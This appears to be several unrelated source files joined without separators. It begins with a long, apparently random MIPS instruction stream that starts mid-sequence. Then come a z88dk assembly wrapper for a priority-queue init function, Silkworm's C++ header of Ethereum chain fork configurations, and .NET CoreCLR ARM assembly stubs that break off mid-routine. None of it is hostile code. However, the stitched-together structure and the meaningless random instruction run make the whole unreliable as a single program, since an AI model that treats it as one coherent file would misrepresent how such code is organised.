$4,0($0) srlv $1,$1,$3 sllv $5,$0,$3 sltu $3,$4,$3 lb $3,13($0) sltu $5,$2,$3 sllv $3,$4,$3 subu $4,$4,$3 srl $1,$5,0 andi $6,$3,52720 addiu $5,$3,3472 addu $6,$4,$3 slt $5,$3,$3 sra $4,$4,9 xori $4,$3,34211 lh $3,2($0) slti $4,$3,-12650 srl $4,$0,10 xor $6,$3,$3 srlv $5,$1,$3 sltiu $4,$3,-28556 sb $3,3($0) lh $3,4($0) sra $3,$1,15 lhu $4,6($0) or $5,$5,$3 ori $3,$4,13727 slti $4,$5,16251 sll $5,$2,18 sh $6,14($0) subu $0,$5,$3 subu $3,$4,$3 slti $6,$3,-5174 and $3,$3,$3 xori $1,$1,15018 and $5,$4,$3 lh $5,6($0) sll $6,$4,16 srav $3,$1,$3 slti $4,$4,-2832 sllv $5,$3,$3 addiu $1,$1,18299 nor $3,$6,$3 sltiu $5,$5,13802 sra $1,$3,22 srlv $3,$3,$3 slti $2,$2,16584 subu $1,$3,$3 srav $1,$3,$3 sw $3,16($0) sltiu $3,$4,-9251 sb $3,3($0) andi $1,$5,48936 ori $3,$3,61069 lw $1,0($0) subu $4,$4,$3 ori $5,$5,15826 nor $3,$1,$3 sh $1,8($0) sltiu $3,$0,22809 lw $1,8($0) srl $4,$3,23 sltu $5,$5,$3 sb $3,4($0) sh $5,14($0) subu $4,$3,$3 addu $4,$4,$3 or $3,$3,$3 sltu $3,$3,$3 and $4,$3,$3 sw $3,16($0) sh $5,14($0) lw $3,0($0) sltu $3,$1,$3 sb $3,7($0) xori $3,$3,26690 lhu $1,12($0) ori $3,$0,60010 addiu $4,$4,-16536 sltu $1,$6,$3 srav $1,$1,$3 andi $4,$4,2324 slt $5,$3,$3 and $3,$4,$3 addu $5,$3,$3 sltu $5,$4,$3 lb $1,9($0) sltiu $3,$6,-29030 subu $4,$1,$3 lb $1,12($0) or $0,$6,$3 slt $3,$3,$3 addu $1,$6,$3 sw $1,12($0) sw $4,4($0) srav $4,$4,$3 addu $4,$2,$3 addu $5,$0,$3 lbu $1,5($0) sw $4,16($0) sltiu $0,$0,3207 sw $4,8($0) xor $3,$0,$3 lh $6,2($0) or $3,$3,$3 sb $4,8($0) srlv $4,$4,$3 subu $5,$3,$3 srav $4,$0,$3 addu $5,$3,$3 sb $4,8($0) xor $4,$4,$3 sltiu $1,$1,4052 xori $3,$3,7750 sltu $3,$4,$3 subu $1,$2,$3 subu $0,$3,$3 slt $3,$4,$3 addiu $3,$0,-30011 slti $5,$5,21518 sltiu $1,$1,31993 slti $4,$4,944 sll $4,$1,3 xori $3,$1,53935 sllv $4,$1,$3 and $4,$3,$3 addiu $0,$4,-30089 andi $4,$4,11194 sltu $4,$4,$3 sltu $1,$1,$3 sllv $6,$3,$3 ori $3,$1,60255 andi $3,$0,16611 nor $0,$0,$3 ori $4,$5,13313 sltu $3,$4,$3 addiu $3,$3,-31534 lh $3,6($0) sltu $5,$5,$3 lw $0,0($0) lh $3,6($0) slt $4,$5,$3 or $3,$1,$3 addu $5,$3,$3 srl $3,$3,27 lhu $6,0($0) srl $4,$5,19 subu $5,$6,$3 lhu $5,10($0) andi $4,$5,26660 srl $4,$3,2 lh $1,12($0) subu $3,$3,$3 lh $4,12($0) addiu $1,$5,24799 srav $5,$3,$3 and $5,$5,$3 xori $3,$3,56634 sh $1,0($0) or $5,$5,$3 addu $4,$3,$3 sb $5,7($0) andi $5,$6,37859 addu $4,$1,$3 ori $4,$0,52655 xori $3,$1,33534 xori $3,$5,28917 nor $3,$1,$3 xori $4,$6,26177 srl $4,$3,3 sw $4,0($0) sltiu $1,$5,22545 sw $3,8($0) lw $3,4($0) srlv $4,$4,$3 nor $5,$3,$3 sb $1,14($0) lb $3,2($0) xor $6,$3,$3 addu $3,$3,$3 and $1,$1,$3 addiu $3,$3,-25011 addiu $4,$4,-20783 or $0,$3,$3 lw $4,16($0) addiu $1,$1,-69 srlv $3,$3,$3 addu $0,$0,$3 sra $3,$4,23 sb $4,14($0) sltu $3,$2,$3 addu $5,$5,$3 or $0,$0,$3 sltu $1,$3,$3 sra $3,$3,27 sll $5,$5,8 srl $5,$0,14 lb $6,2($0) sltiu $3,$1,7642 sltiu $6,$3,18643 srl $0,$0,0 slti $4,$5,9104 sra $6,$3,21 lbu $4,3($0) lh $4,10($0) addiu $6,$5,22742 sltu $5,$3,$3 xor $3,$1,$3 subu $1,$3,$3 sb $1,3($0) lw $1,0($0) lb $6,6($0) sllv $1,$0,$3 sll $3,$4,14 sb $3,3($0) ori $1,$4,17766 lb $5,14($0) sw $6,12($0) sra $5,$3,16 srav $4,$4,$3 sll $0,$3,4 sltu $3,$3,$3 subu $3,$3,$3 lhu $5,10($0) nor $3,$4,$3 sltu $1,$4,$3 addu $5,$4,$3 sltu $1,$4,$3 addu $3,$3,$3 sll $1,$3,3 addiu $3,$4,26375 lh $4,10($0) sra $6,$5,17 andi $0,$3,44196 lh $3,14($0) sll $4,$0,22 or $3,$0,$3 srl $4,$5,16 sra $3,$5,19 srl $4,$3,7 addu $3,$4,$3 addu $4,$3,$3 sll $3,$1,11 sh $5,2($0) sltiu $3,$5,19057 addu $4,$1,$3 sh $4,10($0) sb $0,5($0) sh $3,0($0) subu $3,$5,$3 sb $5,7($0) srl $0,$0,3 srl $0,$5,1 subu $0,$0,$3 addiu $0,$6,12329 andi $1,$1,25574 srl $3,$4,1 subu $6,$6,$3 sh $3,12($0) sb $5,13($0) sltiu $4,$3,9376 sra $5,$0,9 xori $5,$4,61168 nor $1,$3,$3 sb $1,11($0) sra $3,$5,31 sra $6,$6,10 lbu $4,4($0) srlv $1,$1,$3 xori $5,$4,58957 srlv $3,$4,$3 slt $3,$0,$3 xori $5,$5,11264 xori $3,$3,37509 and $6,$5,$3 addu $5,$3,$3 sh $6,16($0) lhu $5,8($0) sltiu $4,$3,21138 addu $0,$4,$3 addiu $0,$3,-8595 or $3,$6,$3 srl $3,$0,22 sb $4,0($0) lw $3,4($0) lb $0,12($0) lh $5,2($0) and $3,$3,$3 subu $4,$1,$3 sw $3,12($0) xor $3,$3,$3 nor $4,$5,$3 addiu $6,$3,-600 lhu $1,12($0) srl $3,$3,3 or $0,$4,$3 sllv $3,$2,$3 lbu $6,8($0) lhu $6,0($0) andi $4,$1,380 sltu $3,$5,$3 andi $3,$3,6793 xori $1,$6,54309 xor $3,$1,$3 sllv $5,$1,$3 lbu $1,13($0) subu $5,$5,$3 andi $1,$1,1368 sllv $4,$1,$3 subu $3,$6,$3 subu $3,$3,$3 andi $3,$6,26625 slti $3,$5,-30163 lw $5,0($0) xori $3,$3,7660 lw $4,0($0) xori $1,$4,10560 xor $6,$6,$3 and $1,$6,$3 and $0,$3,$3 srlv $3,$4,$3 lb $3,7($0) ori $5,$6,20246 addiu $3,$5,3341 srav $4,$5,$3 sw $5,12($0) sltiu $3,$3,31194 sll $4,$3,15 nor $0,$3,$3 or $0,$1,$3 sh $6,16($0) nor $1,$3,$3 srl $5,$3,2 lw $5,8($0) xori $1,$1,35963 lbu $3,5($0) andi $3,$5,33428 sw $6,8($0) lbu $6,12($0) addu $0,$4,$3 slt $5,$5,$3 slti $3,$3,25716 slt $2,$2,$3 sltiu $1,$3,-11083 lw $0,0($0) subu $4,$4,$3 or $4,$4,$3 sw $3,0($0) addu $3,$5,$3 sh $4,14($0) ori $5,$5,30661 sh $1,14($0) addu $3,$3,$3 xor $3,$4,$3 addu $3,$4,$3 slti $0,$5,-21689 andi $1,$4,26657 addu $3,$3,$3 lb $6,2($0) xor $4,$1,$3 xori $1,$4,10964 addu $4,$4,$3 xor $6,$0,$3 sllv $3,$3,$3 or $3,$2,$3 sb $3,14($0) srlv $5,$5,$3 srl $3,$3,4 sra $6,$3,31 sw $4,8($0) sra $6,$6,9 xori $3,$5,50662 subu $4,$6,$3 xori $4,$6,17589 sltu $3,$3,$3 lw $5,0($0) lbu $3,15($0) lbu $3,1($0) and $5,$2,$3 sw $3,12($0) addu $6,$5,$3 slt $4,$2,$3 lw $3,12($0) subu $1,$3,$3 addu $0,$6,$3 lhu $4,10($0) sltiu $6,$4,6771 and $4,$2,$3 sltiu $4,$1,-24608 lh $5,4($0) addiu $3,$3,-13751 sw $5,8($0) xori $4,$3,43969 srl $4,$4,28 or $3,$2,$3 sllv $4,$4,$3 ori $1,$5,45013 addu $0,$0,$3 lh $3,2($0) subu $3,$2,$3 slt $5,$3,$3 xori $3,$0,16441 andi $0,$4,6079 xori $5,$1,14229 srl $1,$3,24 srav $3,$6,$3 sb $1,13($0) addu $5,$5,$3 addiu $3,$0,27683 slti $1,$1,-24132 addiu $3,$6,3537 or $4,$5,$3 xor $5,$3,$3 sllv $6,$3,$3 subu $5,$5,$3 and $3,$4,$3 sb $3,16($0) addu $3,$1,$3 or $3,$3,$3 srav $5,$5,$3 slt $1,$1,$3 addu $1,$6,$3 srav $5,$3,$3 sltu $5,$3,$3 addu $4,$5,$3 srlv $3,$3,$3 sra $5,$0,16 and $5,$3,$3 sw $3,0($0) or $4,$4,$3 lw $5,4($0) subu $5,$0,$3 lw $3,16($0) sw $4,0($0) lh $5,2($0) lb $5,16($0) lw $4,12($0) or $4,$5,$3 lh $3,0($0) srlv $4,$5,$3 srav $3,$0,$3 andi $3,$3,24176 sb $4,2($0) slti $1,$1,-22191 sb $3,13($0) sllv $3,$1,$3 lw $0,0($0) lh $0,0($0) sb $1,16($0) slt $1,$4,$3 sltu $4,$5,$3 xor $4,$4,$3 subu $4,$4,$3 sltu $4,$5,$3 lw $1,12($0) sh $4,0($0) slti $5,$5,-2846 andi $3,$6,57690 andi $1,$5,37932 sltiu $1,$4,-4649 addiu $6,$6,8078 xori $6,$6,24304 xor $3,$6,$3 xori $6,$6,59818 xor $3,$1,$3 slti $4,$5,22352 xor $3,$3,$3 subu $0,$3,$3 addu $3,$3,$3 and $3,$3,$3 srav $4,$3,$3 addu $3,$4,$3 lhu $3,4($0) srl $1,$0,15 srlv $5,$1,$3 sll $4,$4,19 addu $1,$3,$3 slti $3,$3,-17051 srlv $4,$3,$3 sw $6,16($0) lbu $5,3($0) lw $3,4($0) subu $3,$4,$3 and $4,$5,$3 srav $1,$4,$3 slt $5,$4,$3 xori $1,$5,59236 addu $3,$3,$3 subu $0,$0,$3 slt $4,$4,$3 sb $5,3($0) lb $0,16($0) sltiu $5,$5,-8073 srl $6,$0,31 lbu $6,15($0) xori $5,$3,50151 sb $3,5($0) andi $3,$6,33748 andi $1,$1,6972 xori $4,$3,45372 lhu $0,12($0) subu $3,$4,$3 addiu $3,$3,28620 srlv $4,$1,$3 and $4,$1,$3 nor $4,$3,$3 subu $2,$2,$3 addiu $5,$3,32321 subu $3,$1,$3 slti $3,$4,-25969 ori $4,$4,21408 srav $3,$1,$3 slt $5,$3,$3 lb $3,9($0) lw $5,8($0) or $3,$3,$3 srav $1,$1,$3 sllv $5,$5,$3 slt $0,$3,$3 srl $5,$4,17 sh $1,6($0) slt $3,$3,$3 slt $3,$3,$3 lbu $1,0($0) lw $3,4($0) lw $4,16($0) subu $3,$3,$3 slt $6,$4,$3 xor $6,$3,$3 slti $5,$5,30140 and $4,$3,$3 ori $3,$1,23414 sll $1,$5,30 lhu $3,16($0) sltu $4,$4,$3 addu $3,$4,$3 addiu $1,$5,-18935 slti $3,$5,-3780 subu $4,$5,$3 andi $2,$2,38836 sll $1,$4,1 sll $5,$5,18 slt $0,$0,$3 or $5,$5,$3 addiu $1,$3,4503 subu $4,$1,$3 lb $1,1($0) sltu $3,$3,$3 sllv $4,$3,$3 lbu $4,11($0) srlv $1,$1,$3 slti $4,$4,17438 addu $5,$3,$3 slti $5,$4,5498 sll $3,$4,20 or $5,$5,$3 subu $3,$4,$3 sltu $4,$4,$3 sra $3,$3,3 srlv $4,$1,$3 andi $5,$1,48243 sltiu $4,$4,-3818 sh $3,10($0) sh $4,14($0) lbu $4,7($0) lbu $4,13($0) subu $4,$4,$3 xori $3,$3,36638 ori $1,$1,20021 lb $5,4($0) subu $0,$4,$3 lh $3,4($0) addiu $3,$5,-29636 slt $6,$2,$3 xor $0,$4,$3 lb $4,3($0) nor $5,$3,$3 lw $5,0($0) and $3,$5,$3 subu $3,$1,$3 srl $3,$0,18 addiu $3,$4,-32764 subu $3,$3,$3 sb $5,12($0) srlv $3,$3,$3 srl $5,$5,15 srl $4,$3,21 slti $3,$5,9767 addu $1,$6,$3 xori $1,$5,15157 sll $3,$6,22 addu $3,$1,$3 srlv $4,$3,$3 lb $5,5($0) lbu $4,8($0) and $4,$4,$3 or $4,$1,$3 sh $0,2($0) sra $4,$5,28 lw $3,8($0) slt $3,$3,$3 lh $1,0($0) lbu $3,3($0) slti $1,$3,-9901 ori $0,$5,37898 sltu $3,$4,$3 lb $5,13($0) subu $3,$5,$3 lbu $1,13($0) addiu $3,$1,6673 addu $0,$4,$3 subu $6,$4,$3 addu $2,$2,$3 sw $4,0($0) xori $3,$3,36664 slti $4,$4,11807 lbu $3,4($0) lh $0,4($0) subu $3,$0,$3 xor $3,$1,$3 andi $3,$3,42416 slti $5,$2,-15321 sltiu $6,$6,3289
; wa_priority_queue_t * ; wa_priority_queue_init(void *p, void *data, size_t capacity, int (*compar)(const void *, const void *)) SECTION code_clib SECTION code_adt_wa_priority_queue PUBLIC _wa_priority_queue_init EXTERN asm_wa_priority_queue_init _wa_priority_queue_init: pop af pop hl pop de pop bc pop ix push ix push bc push de push hl push af jp asm_wa_priority_queue_init
/* Copyright 2020-2021 The Silkworm Authors Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #ifndef SILKWORM_CHAIN_CONFIG_HPP_ #define SILKWORM_CHAIN_CONFIG_HPP_ #include <array> #include <cstdint> #include <optional> #include <evmc/evmc.h> #include <nlohmann/json.hpp> namespace silkworm { enum class SealEngineType { kNoProof, kEthash, kClique, kAuRA, }; struct ChainConfig { static constexpr const char* kJsonForkNames[]{ "homesteadBlock", // EVMC_HOMESTEAD // there's no evmc_revision for daoForkBlock "eip150Block", // EVMC_TANGERINE_WHISTLE "eip155Block", // EVMC_SPURIOUS_DRAGON "byzantiumBlock", // EVMC_BYZANTIUM "constantinopleBlock", // EVMC_CONSTANTINOPLE "petersburgBlock", // EVMC_PETERSBURG "istanbulBlock", // EVMC_ISTANBUL // there's no evmc_revision for muirGlacierBlock "berlinBlock", // EVMC_BERLIN "londonBlock", // EVMC_LONDON "shanghaiBlock", // EVMC_SHANGHAI }; static_assert(std::size(kJsonForkNames) == EVMC_MAX_REVISION); // https://eips.ethereum.org/EIPS/eip-155 uint64_t chain_id{0}; SealEngineType seal_engine{SealEngineType::kNoProof}; // Block numbers of forks that have an evmc_revision value std::array<std::optional<uint64_t>, EVMC_MAX_REVISION> fork_blocks{}; // https://eips.ethereum.org/EIPS/eip-2387 std::optional<uint64_t> muir_glacier_block{std::nullopt}; // https://eips.ethereum.org/EIPS/eip-779 std::optional<uint64_t> dao_block{std::nullopt}; // Returns the revision level at given block number // In other words, on behalf of Json chain config data // returns whether or not specific HF have occurred evmc_revision revision(uint64_t block_number) const noexcept; // As ancillary to revision this returns at which block // a specific revision has occurred. If return value is std::nullopt // it means the actual chain either does not support such revision std::optional<uint64_t> revision_block(evmc_revision rev) const noexcept; void set_revision_block(evmc_revision rev, std::optional<uint64_t> block); nlohmann::json to_json() const noexcept; /*Sample JSON input: { "chainId":1, "homesteadBlock":1150000, "daoForkBlock":1920000, "eip150Block":2463000, "eip155Block":2675000, "byzantiumBlock":4370000, "constantinopleBlock":7280000, "petersburgBlock":7280000, "istanbulBlock":9069000, "muirGlacierBlock":9200000, "berlinBlock":12244000 } */ static std::optional<ChainConfig> from_json(const nlohmann::json& json) noexcept; }; bool operator==(const ChainConfig& a, const ChainConfig& b); std::ostream& operator<<(std::ostream& out, const ChainConfig& obj); constexpr ChainConfig kMainnetConfig{ 1, // chain_id SealEngineType::kEthash, { 1'150'000, // Homestead 2'463'000, // Tangerine Whistle 2'675'000, // Spurious Dragon 4'370'000, // Byzantium 7'280'000, // Constantinople 7'280'000, // Petersburg 9'069'000, // Istanbul 12'244'000, // Berlin 12'965'000, // London }, 9'200'000, // muir_glacier_block 1'920'000, // dao_block }; constexpr ChainConfig kRopstenConfig{ 3, // chain_id SealEngineType::kEthash, { 0, // Homestead 0, // Tangerine Whistle 10, // Spurious Dragon 1'700'000, // Byzantium 4'230'000, // Constantinople 4'939'394, // Petersburg 6'485'846, // Istanbul 9'812'189, // Berlin 10'499'401, // London }, 7'117'117, // muir_glacier_block }; constexpr ChainConfig kRinkebyConfig{ 4, // chain_id SealEngineType::kClique, { 1, // Homestead 2, // Tangerine Whistle 3, // Spurious Dragon 1'035'301, // Byzantium 3'660'663, // Constantinople 4'321'234, // Petersburg 5'435'345, // Istanbul 8'290'928, // Berlin 8'897'988, // London }, }; constexpr ChainConfig kGoerliConfig{ 5, // chain_id SealEngineType::kClique, { 0, // Homestead 0, // Tangerine Whistle 0, // Spurious Dragon 0, // Byzantium 0, // Constantinople 0, // Petersburg 1'561'651, // Istanbul 4'460'644, // Berlin 5'062'605, // London }, }; /// Enables London from genesis. Used in tests. constexpr ChainConfig kLondonTestConfig{ 1, // chain_id SealEngineType::kNoProof, {0, 0, 0, 0, 0, 0, 0, 0, 0}, }; inline const ChainConfig* lookup_chain_config(uint64_t chain_id) noexcept { switch (chain_id) { case kMainnetConfig.chain_id: return &kMainnetConfig; case kRopstenConfig.chain_id: return &kRopstenConfig; case kRinkebyConfig.chain_id: return &kRinkebyConfig; case kGoerliConfig.chain_id: return &kGoerliConfig; default: return nullptr; } } } // namespace silkworm #endif // SILKWORM_CHAIN_CONFIG_HPP_
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ;; ==++== ;; ;; ;; ==--== #include "ksarm.h" #include "asmconstants.h" #include "asmmacros.h" SETALIAS CTPMethodTable__s_pThunkTable, ?s_pThunkTable@CTPMethodTable@@0PAVMethodTable@@A SETALIAS g_pObjectClass, ?g_pObjectClass@@3PAVMethodTable@@A IMPORT JIT_InternalThrow IMPORT JIT_WriteBarrier IMPORT TheUMEntryPrestubWorker IMPORT CreateThreadBlockThrow IMPORT UMThunkStubRareDisableWorker IMPORT PreStubWorker IMPORT PreStubGetMethodDescForCompactEntryPoint IMPORT NDirectImportWorker IMPORT ObjIsInstanceOfCached IMPORT ArrayStoreCheck IMPORT VSD_ResolveWorker IMPORT $g_pObjectClass #ifdef WRITE_BARRIER_CHECK SETALIAS g_GCShadow, ?g_GCShadow@@3PAEA SETALIAS g_GCShadowEnd, ?g_GCShadowEnd@@3PAEA IMPORT g_lowest_address IMPORT $g_GCShadow IMPORT $g_GCShadowEnd #endif // WRITE_BARRIER_CHECK #ifdef FEATURE_COMINTEROP IMPORT CLRToCOMWorker IMPORT ComPreStubWorker IMPORT COMToCLRWorker #endif IMPORT CallDescrWorkerUnwindFrameChainHandler IMPORT UMEntryPrestubUnwindFrameChainHandler IMPORT UMThunkStubUnwindFrameChainHandler #ifdef FEATURE_COMINTEROP IMPORT ReverseComUnwindFrameChainHandler #endif #ifdef FEATURE_HIJACK IMPORT OnHijackWorker #endif ;FEATURE_HIJACK IMPORT GetCurrentSavedRedirectContext ;; Import to support cross-moodule external method invocation in ngen images IMPORT ExternalMethodFixupWorker #ifdef FEATURE_PREJIT ;; Imports to support virtual import fixup for ngen images IMPORT VirtualMethodFixupWorker IMPORT StubDispatchFixupWorker #endif #ifdef FEATURE_READYTORUN IMPORT DynamicHelperWorker #endif IMPORT JIT_RareDisableHelperWorker IMPORT DoJITFailFast IMPORT s_gsCookie IMPORT g_TrapReturningThreads ;; Imports for singleDomain statics helpers IMPORT JIT_GetSharedNonGCStaticBase_Helper IMPORT JIT_GetSharedGCStaticBase_Helper TEXTAREA ;; LPVOID __stdcall GetCurrentIP(void); LEAF_ENTRY GetCurrentIP mov r0, lr bx lr LEAF_END ;; LPVOID __stdcall GetCurrentSP(void); LEAF_ENTRY GetCurrentSP mov r0, sp bx lr LEAF_END ;;----------------------------------------------------------------------------- ;; This helper routine enregisters the appropriate arguments and makes the ;; actual call. ;;----------------------------------------------------------------------------- ;;void CallDescrWorkerInternal(CallDescrData * pCallDescrData); NESTED_ENTRY CallDescrWorkerInternal,,CallDescrWorkerUnwindFrameChainHandler PROLOG_PUSH {r4,r5,r7,lr} PROLOG_STACK_SAVE r7 mov r5,r0 ; save pCallDescrData in r5 ldr r1, [r5,#CallDescrData__numStackSlots] cbz r1, Ldonestack ;; Add frame padding to ensure frame size is a multiple of 8 (a requirement of the OS ABI). ;; We push four registers (above) and numStackSlots arguments (below). If this comes to an odd number ;; of slots we must pad with another. This simplifies to "if the low bit of numStackSlots is set, ;; extend the stack another four bytes". lsls r2, r1, #2 and r3, r2, #4 sub sp, sp, r3 ;; This loop copies numStackSlots words ;; from [pSrcEnd-4,pSrcEnd-8,...] to [sp-4,sp-8,...] ldr r0, [r5,#CallDescrData__pSrc] add r0,r0,r2 Lstackloop ldr r2, [r0,#-4]! str r2, [sp,#-4]! subs r1, r1, #1 bne Lstackloop Ldonestack ;; If FP arguments are supplied in registers (r3 != NULL) then initialize all of them from the pointer ;; given in r3. Do not use "it" since it faults in floating point even when the instruction is not executed. ldr r3, [r5,#CallDescrData__pFloatArgumentRegisters] cbz r3, LNoFloatingPoint vldm r3, {s0-s15} LNoFloatingPoint ;; Copy [pArgumentRegisters, ..., pArgumentRegisters + 12] ;; into r0, ..., r3 ldr r4, [r5,#CallDescrData__pArgumentRegisters] ldm r4, {r0-r3} CHECK_STACK_ALIGNMENT ;; call pTarget ;; Note that remoting expect target in r4. ldr r4, [r5,#CallDescrData__pTarget] blx r4 ldr r3, [r5,#CallDescrData__fpReturnSize] ;; Save FP return value if appropriate cbz r3, LFloatingPointReturnDone ;; Float return case ;; Do not use "it" since it faults in floating point even when the instruction is not executed. cmp r3, #4 bne LNoFloatReturn vmov r0, s0 b LFloatingPointReturnDone LNoFloatReturn ;; Double return case ;; Do not use "it" since it faults in floating point even when the instruction is not executed. cmp r3, #8 bne LNoDoubleReturn vmov r0, r1, s0, s1 b LFloatingPointReturnDone LNoDoubleReturn add r2, r5, #CallDescrData__returnValue cmp r3, #16 bne LNoFloatHFAReturn vstm r2, {s0-s3} b LReturnDone LNoFloatHFAReturn cmp r3, #32 bne LNoDoubleHFAReturn vstm r2, {d0-d3} b LReturnDone LNoDoubleHFAReturn EMIT_BREAKPOINT ; Unreachable LFloatingPointReturnDone ;; Save return value into retbuf str r0, [r5, #(CallDescrData__returnValue + 0)] str r1, [r5, #(CallDescrData__returnValue + 4)] LReturnDone #ifdef _DEBUG ;; trash the floating point registers to ensure that the HFA return values ;; won't survive by accident vldm sp, {d0-d3} #endif EPILOG_STACK_RESTORE r7 EPILOG_POP {r4,r5,r7,pc} NESTED_END ;;----------------------------------------------------------------------------- ;; This helper routine is where returns for irregular tail calls end up :: so they can dynamically pop their stack arguments. ;;----------------------------------------------------------------------------- ; ; Stack Layout (stack grows up, 0 at the top, offsets relative to frame pointer, r7): ; ; sp -> callee stack arguments ; : ; : ; -0Ch gsCookie ; TailCallHelperFrame -> ; -08h __VFN_table ; -04h m_Next ; r7 -> ; +00h m_calleeSavedRgisters.r4 ; +04h .r5 ; +08h .r6 ; +0Ch .r7 ; +10h .r8 ; +14h .r9 ; +18h .r10 ; r11-> ; +1Ch .r11 ; +20h .r14 -or- m_ReturnAddress ; ; r6 -> GetThread() ; r5 -> r6->m_pFrame (old Frame chain head) ; r11 is used to preserve the ETW call stack NESTED_ENTRY TailCallHelperStub ; ; This prolog is never executed, but we keep it here for reference ; and for the unwind data it generates ; ; Spill callee saved registers and return address. PROLOG_PUSH {r4-r11,lr} PROLOG_STACK_SAVE r7 ; ; This is the code that would have to run to setup this frame ; like the C++ helper does before calling RtlRestoreContext ; ; Allocate space for the rest of the frame and GSCookie. ; PROLOG_STACK_ALLOC 0x0C ; ; Set r11 for frame chain ;add r11, r7, 0x1C ; ; Set the vtable for TailCallFrame ;bl TCF_GETMETHODFRAMEVPTR ;str r0, [r7, #-8] ; ; Initialize the GSCookie within the Frame ;ldr r0, =s_gsCookie ;str r0, [r7, #-0x0C] ; ; Link the TailCallFrameinto the Frame chain ; and initialize r5 & r6 for unlinking later ;CALL_GETTHREAD ;mov r6, r0 ;ldr r5, [r6, #Thread__m_pFrame] ;str r5, [r7, #-4] ;sub r0, r7, 8 ;str r0, [r6, #Thread__m_pFrame] ; ; None of the previous stuff is ever executed, ; but we keep it here for reference ; ; ; Here's the pretend call (make it real so the unwinder ; doesn't think we're in the prolog) ; bl TailCallHelperStub ; ; with the real return address pointing to this real epilog ; JIT_TailCallHelperStub_ReturnAddress EXPORT JIT_TailCallHelperStub_ReturnAddress ; ; Our epilog (which also unlinks the StubHelperFrame) ; Be careful not to trash the return registers ; #ifdef _DEBUG ldr r3, =s_gsCookie ldr r3, [r3] ldr r2, [r7, #-0x0C] cmp r2, r3 beq GoodGSCookie bl DoJITFailFast GoodGSCookie #endif ; _DEBUG ; ; unlink the TailCallFrame ; str r5, [r6, #Thread__m_pFrame] ; ; epilog ; EPILOG_STACK_RESTORE r7 EPILOG_POP {r4-r11,lr} EPILOG_RETURN NESTED_END ; ------------------------------------------------------------------ ; void LazyMachStateCaptureState(struct LazyMachState *pState); LEAF_ENTRY LazyMachStateCaptureState ;; marks that this is not yet valid mov r1, #0 str r1, [r0, #MachState__isValid] str lr, [r0, #LazyMachState_captureIp] str sp, [r0, #LazyMachState_captureSp] add r1, r0, #LazyMachState_captureR4_R11 stm r1, {r4-r11} mov pc, lr LEAF_END ; void SinglecastDelegateInvokeStub(Delegate *pThis) LEAF_ENTRY SinglecastDelegateInvokeStub cmp r0, #0 beq LNullThis ldr r12, [r0, #DelegateObject___methodPtr] ldr r0, [r0, #DelegateObject___target] bx r12 LNullThis mov r0, #CORINFO_NullReferenceException_ASM b JIT_InternalThrow LEAF_END ; ; r12 = UMEntryThunk* ; NESTED_ENTRY TheUMEntryPrestub,,UMEntryPrestubUnwindFrameChainHandler PROLOG_PUSH {r0-r4,lr} PROLOG_VPUSH {d0-d7} CHECK_STACK_ALIGNMENT mov r0, r12 bl TheUMEntryPrestubWorker ; Record real target address in r12. mov r12, r0 ; Epilog EPILOG_VPOP {d0-d7} EPILOG_POP {r0-r4,lr} EPILOG_BRANCH_REG r12 NESTED_END ; ; r12 = UMEntryThunk* ; NESTED_ENTRY UMThunkStub,,UMThunkStubUnwindFrameChainHandler PROLOG_PUSH {r4,r5,r7,r11,lr} PROLOG_PUSH {r0-r3,r12} PROLOG_STACK_SAVE r7 GBLA UMThunkStub_HiddenArg ; offset of saved UMEntryThunk * GBLA UMThunkStub_StackArgs ; offset of original stack args (total size of UMThunkStub frame) UMThunkStub_HiddenArg SETA 4*4 UMThunkStub_StackArgs SETA 10*4 CHECK_STACK_ALIGNMENT ; r0 = GetThread(). Trashes r5 INLINE_GETTHREAD r0, r5 cbz r0, UMThunkStub_DoThreadSetup UMThunkStub_HaveThread mov r5, r0 ; r5 = Thread * ldr r2, =g_TrapReturningThreads mov r4, 1 str r4, [r5, #Thread__m_fPreemptiveGCDisabled] ldr r3, [r2] cbnz r3, UMThunkStub_DoTrapReturningThreads UMThunkStub_InCooperativeMode ldr r12, [r7, #UMThunkStub_HiddenArg] ldr r3, [r12, #UMEntryThunk__m_pUMThunkMarshInfo] ldr r2, [r3, #UMThunkMarshInfo__m_cbActualArgSize] cbz r2, UMThunkStub_ArgumentsSetup add r0, r7, #UMThunkStub_StackArgs ; Source pointer add r0, r0, r2 lsr r1, r2, #2 ; Count of stack slots to copy and r2, r2, #4 ; Align the stack sub sp, sp, r2 UMThunkStub_StackLoop ldr r2, [r0,#-4]! str r2, [sp,#-4]! subs r1, r1, #1 bne UMThunkStub_StackLoop UMThunkStub_ArgumentsSetup ldr r4, [r3, #UMThunkMarshInfo__m_pILStub] ; reload argument registers ldm r7, {r0-r3} CHECK_STACK_ALIGNMENT blx r4 UMThunkStub_PostCall mov r4, 0 str r4, [r5, #Thread__m_fPreemptiveGCDisabled] EPILOG_STACK_RESTORE r7 EPILOG_STACK_FREE 4 * 5 EPILOG_POP {r4,r5,r7,r11,pc} UMThunkStub_DoThreadSetup sub sp, #SIZEOF__FloatArgumentRegisters vstm sp, {d0-d7} bl CreateThreadBlockThrow vldm sp, {d0-d7} add sp, #SIZEOF__FloatArgumentRegisters b UMThunkStub_HaveThread UMThunkStub_DoTrapReturningThreads sub sp, #SIZEOF__FloatArgumentRegisters vstm sp, {d0-d7} mov r0, r5 ; Thread* pThread ldr r1, [r7, #UMThunkStub_HiddenArg] ; UMEntryThunk* pUMEntry bl UMThunkStubRareDisableWorker vldm sp, {d0-d7} add sp, #SIZEOF__FloatArgumentRegisters b UMThunkStub_InCooperativeMode NESTED_END INLINE_GETTHREAD_CONSTANT_POOL ; ------------------------------------------------------------------ NESTED_ENTRY ThePreStub PROLOG_WITH_TRANSITION_BLOCK add r0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov r1, r12 ; pMethodDesc bl PreStubWorker mov r12, r0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH_REG r12 NESTED_END ; ------------------------------------------------------------------ NESTED_ENTRY ThePreStubCompactARM ; r12 - address of compact entry point + PC_REG_RELATIVE_OFFSET 